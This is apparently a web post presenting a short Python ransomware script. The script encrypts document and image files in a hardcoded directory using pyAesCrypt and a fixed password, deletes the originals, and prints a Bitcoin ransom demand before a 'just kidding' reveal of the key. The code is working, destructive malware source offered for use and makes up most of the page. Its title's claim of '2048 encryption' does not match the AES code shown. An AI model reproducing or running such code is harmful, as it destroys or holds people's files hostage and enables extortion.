Simple Ransomware python code that infects a target directory with 2048 encryption

Start
import os
import pyAesCrypt
import shutil

bufferSize = 64 * 1024

# Get the list of all files in directory
directory = "/home/rocheston/Downloads"
list_files = [f for f in os.listdir(directory) if os.path.isfile(os.path.join(directory, f))]

# Iterate over the list of files and encrypt them
for file in list_files:
    if file.endswith('.txt') or file.endswith('.jpg') or file.endswith('.png') or file.endswith('.docx') or file.endswith('.pptx') or file.endswith('.pdf') or file.endswith('.xlx'):
        pyAesCrypt.encryptFile(os.path.join(directory, file), os.path.join(directory, file+".aes"), "2b7c5a09f0011ce3", bufferSize)
        os.remove(os.path.join(directory, file))

# Display the ransom message
print("Juggyboy Warning! You have been hacked. Pay 23 Bitcoins to 3FZbgi29cpjq2GjdwV8eyHuJJnkLtktZc5 to get the decryption key and recover your files.")

# Display the decryption key
print("Just kidding: Here is your decryption Key: 2b7c5a09f0011ce3")
Previous Story

Keylogger code written for python 3.7 takes snapshot of the desktop every 10 seconds

Next Story

T-Mobile admits to 37,000,000 customer records stolen by “bad actor”